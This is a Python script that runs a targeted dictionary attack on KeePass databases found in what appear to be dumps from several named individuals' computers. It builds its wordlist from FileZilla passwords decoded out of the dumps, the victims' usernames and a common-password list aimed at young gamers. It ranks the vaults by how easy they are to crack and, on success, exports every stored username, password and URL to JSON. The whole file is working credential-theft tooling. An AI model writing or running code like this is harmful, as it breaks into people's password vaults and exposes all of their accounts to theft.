"""
KeePass database cracker: attempts to open .kdbx files using pykeepass
with a wordlist built from dump-extracted passwords, usernames, common
patterns, and a base common-passwords list.

Targets ordered by crack difficulty (lowest KDF cost first):
  1. damie multi.kdbx      -- Argon2d, 42 iterations, 64MB (EASIEST)
  2. damie Passwords*.kdbx -- Argon2d, 40-226 iterations, 64MB
  3. All c.kdbx 6000 rnd   -- AES-KDF 6000 rounds (trivial)
  4. cockl/tamay/jackb      -- AES-KDF 600K rounds (harder)
  5. lbrho jrhoadesMainDB   -- AES-KDF 48M rounds (very slow)

Uses pykeepass for native KDBX open (supports KDBX3+4, AES-KDF+Argon2).
On success, dumps all entries to data/keepass_cracked.json.
"""

import base64
import json
import sys
import time
from pathlib import Path

try:
    from pykeepass import PyKeePass
    from pykeepass.exceptions import CredentialsError
except ImportError:
    print("ERROR: pykeepass not installed. Run: pip install pykeepass")
    sys.exit(1)

ROOT_DIR = Path(__file__).resolve().parents[2]
LEGACY_ROOT = ROOT_DIR / "findings" / "legacy_dump_assessment"
DUMPS_DIR = LEGACY_ROOT / "dumps"
DATA_DIR = ROOT_DIR / "findings" / "data"

EXTRACTED_JSON = DATA_DIR / "legacy_extracted_credentials.json"
KEEPASS_JSON = DATA_DIR / "legacy_keepass_analysis.json"
OUTPUT_JSON = DATA_DIR / "legacy_keepass_cracked.json"


def resolve_dump_path(dump_id: int) -> Path:
    folder = "dump" if dump_id == 0 else f"dump ({dump_id})"
    return DUMPS_DIR / folder


def build_wordlist() -> list[str]:
    """Build a targeted wordlist from dump data + common passwords."""

    words = set()

    # 1. Decode all FileZilla base64 passwords from extracted_credentials.json
    if EXTRACTED_JSON.exists():
        with open(EXTRACTED_JSON, encoding="utf-8") as f:
            data = json.load(f)
        for entry in data:
            for finding in entry.get("findings", []):
                if finding.get("type") == "filezilla_password":
                    try:
                        decoded = base64.b64decode(finding["detail"]).decode("utf-8", errors="replace")
                        if 2 < len(decoded) < 64:
                            words.add(decoded)
                    except Exception:
                        pass

    # 2. Usernames from hosts with KeePass (people often use their username)
    if KEEPASS_JSON.exists():
        with open(KEEPASS_JSON, encoding="utf-8") as f:
            kp_data = json.load(f)
        for host in kp_data.get("hosts", []):
            uname = host.get("username", "")
            cname = host.get("computer_name", "")
            if uname:
                words.add(uname)
                words.add(uname.lower())
                words.add(uname.capitalize())
                words.add(uname + "1")
                words.add(uname + "123")
                words.add(uname + "!")
            if cname:
                words.add(cname.lower())

    # 3. Common passwords (curated for this demographic: gamers, young users)
    common = [
        "", "password", "Password", "PASSWORD",
        "123456", "12345678", "123456789", "1234567890",
        "qwerty", "abc123", "monkey", "master",
        "dragon", "login", "letmein", "welcome",
        "shadow", "sunshine", "trustno1", "iloveyou",
        "admin", "Admin", "administrator",
        "test", "Test", "test123", "Test123",
        "pass", "pass123", "Pass123",
        "password1", "Password1", "password123", "Password123",
        "p@ssw0rd", "P@ssw0rd", "P@ssword1",
        "changeme", "default", "secret",
        "minecraft", "Minecraft", "minecraft123",
        "gaming", "gamer", "gamer123",
        "hello", "Hello", "hello123",
        "fuckyou", "fuck", "shit",
        "1234", "12345", "54321", "11111", "11111111",
        "000000", "111111", "121212", "123123",
        "666666", "696969", "7777777", "88888888",
        "aaaaaa", "asdfgh", "asdf", "zxcvbn",
        "qwerty123", "Qwerty123",
        "1q2w3e4r", "1q2w3e", "q1w2e3r4",
        "password!", "P@ss1234",
        "1", "12", "123", "a", "aa", "aaa",
        "x", "xx", "xxx", "zzz",
        "keepass", "KeePass", "keepass123", "master123",
        "database", "Database", "main", "Main",
        "multi", "Multi", "passwords", "Passwords",
        "chrome", "firefox", "brave",
    ]
    words.update(common)

    # 4. Variations: add year suffixes, ! suffix
    base_words = list(words)
    for w in base_words:
        if w and len(w) > 2:
            words.add(w + "!")
            words.add(w + "1")
            words.add(w + "123")
            words.add(w + "2024")
            words.add(w + "2025")

    words.discard("")

    return sorted(words)


def get_targets() -> list[dict]:
    """Load KeePass analysis and return targets sorted by crack difficulty."""
    if not KEEPASS_JSON.exists():
        print("ERROR: Run keepass_analyzer.py first")
        sys.exit(1)

    with open(KEEPASS_JSON, encoding="utf-8") as f:
        data = json.load(f)

    targets = []
    for host in data.get("hosts", []):
        dump_id = host["dump_id"]
        for db in host.get("databases", []):
            if db.get("is_duplicate") or not db.get("exists", True):
                continue

            size = db.get("size_bytes", 0)
            hdr = db.get("header") or {}
            kdf = hdr.get("kdf", "AES-KDF")

            if "Argon2" in kdf:
                cost = hdr.get("argon2_iterations", 1)
            else:
                cost = hdr.get("transform_rounds", 6000)

            dump_path = resolve_dump_path(dump_id)
            fpath = dump_path / db["file"]

            targets.append({
                "dump_id": dump_id,
                "computer_name": host.get("computer_name", ""),
                "username": host.get("username", ""),
                "filename": db["filename"],
                "path": str(fpath),
                "size": size,
                "kdf": kdf,
                "cost": cost,
                "version": hdr.get("version", "?"),
                "non_empty": size > 1500,
            })

    targets.sort(key=lambda t: (
        0 if t["non_empty"] else 1,
        t["cost"],
        -t["size"],
    ))

    return targets


def try_open(kdbx_path: str, password: str) -> bool:
    """Try to open a KDBX file with the given password. Returns True on success."""
    try:
        PyKeePass(kdbx_path, password=password)
        return True
    except CredentialsError:
        return False
    except Exception:
        return False


def dump_entries(kdbx_path: str, password: str) -> dict:
    """Open a cracked KDBX and extract all entries."""
    kp = PyKeePass(kdbx_path, password=password)

    entries = []
    for entry in kp.entries:
        e = {
            "title": entry.title or "",
            "username": entry.username or "",
            "password": entry.password or "",
            "url": entry.url or "",
            "notes": (entry.notes or "")[:500],
            "tags": list(entry.tags) if entry.tags else [],
        }
        if entry.custom_properties:
            e["custom"] = {k: v[:200] for k, v in entry.custom_properties.items()}
        entries.append(e)

    groups = []
    for group in kp.groups:
        groups.append(group.name or "")

    return {
        "total_entries": len(entries),
        "total_groups": len(groups),
        "groups": groups,
        "entries": entries,
    }


def flush_print(*args, **kwargs):
    print(*args, **kwargs, flush=True)


def run():
    flush_print("=" * 60)
    flush_print("  KeePass Database Cracker")
    flush_print("=" * 60)

    wordlist = build_wordlist()
    flush_print(f"\nWordlist: {len(wordlist)} candidates")

    targets = get_targets()
    flush_print(f"Targets:  {len(targets)} databases")

    non_empty = [t for t in targets if t["non_empty"]]
    empty = [t for t in targets if not t["non_empty"]]

    flush_print(f"  Non-empty (priority): {len(non_empty)}")
    flush_print(f"  Empty/minimal:        {len(empty)}")

    ordered = non_empty + empty

    cracked = []
    total_attempts = 0
    t0 = time.time()

    for i, target in enumerate(ordered):
        label = (f"[{target['dump_id']}] {target['computer_name']}/{target['username']} "
                 f"- {target['filename']} ({target['size']:,}B, "
                 f"{target['kdf']} cost={target['cost']})")

        flush_print(f"\n{'='*60}")
        flush_print(f"Target {i+1}/{len(ordered)}: {label}")

        fpath = target["path"]
        if not Path(fpath).exists():
            flush_print("  SKIP: file not found")
            continue

        found = False
        t_start = time.time()
        for j, password in enumerate(wordlist):
            total_attempts += 1
            if try_open(fpath, password):
                elapsed = time.time() - t_start
                pw_display = password if password else '(empty)'
                flush_print(f"  *** CRACKED! Password: {pw_display!r} "
                            f"(attempt {j+1}/{len(wordlist)}, {elapsed:.1f}s) ***")

                entry_data = dump_entries(fpath, password)
                result = {
                    **target,
                    "password": password,
                    "attempt_number": j + 1,
                    "crack_time_seconds": round(elapsed, 2),
                    "database_contents": entry_data,
                }
                cracked.append(result)
                found = True

                with open(OUTPUT_JSON, "w", encoding="utf-8") as f:
                    json.dump(cracked, f, indent=2, ensure_ascii=False)

                break

            if (j + 1) % 25 == 0:
                elapsed = time.time() - t_start
                rate = (j + 1) / elapsed if elapsed > 0 else 0
                flush_print(f"  [{j+1}/{len(wordlist)}] {elapsed:.1f}s ({rate:.1f} pw/s)...")

        if not found:
            elapsed = time.time() - t_start
            flush_print(f"  Not cracked ({len(wordlist)} attempts, {elapsed:.1f}s)")

    total_elapsed = time.time() - t0

    flush_print(f"\n{'='*60}")
    flush_print(f"  RESULTS")
    flush_print(f"{'='*60}")
    flush_print(f"Cracked:        {len(cracked)}/{len(ordered)}")
    flush_print(f"Total attempts: {total_attempts:,}")
    flush_print(f"Total time:     {total_elapsed:.1f}s")

    if cracked:
        flush_print(f"\nCracked databases:")
        for c in cracked:
            pw_display = c['password'] if c['password'] else '(empty)'
            flush_print(f"  [{c['dump_id']}] {c['filename']} -> {pw_display!r} "
                        f"({c['database_contents']['total_entries']} entries)")

        with open(OUTPUT_JSON, "w", encoding="utf-8") as f:
            json.dump(cracked, f, indent=2, ensure_ascii=False)
        flush_print(f"\nFull results saved to: {OUTPUT_JSON}")

    return cracked


if __name__ == "__main__":
    run()
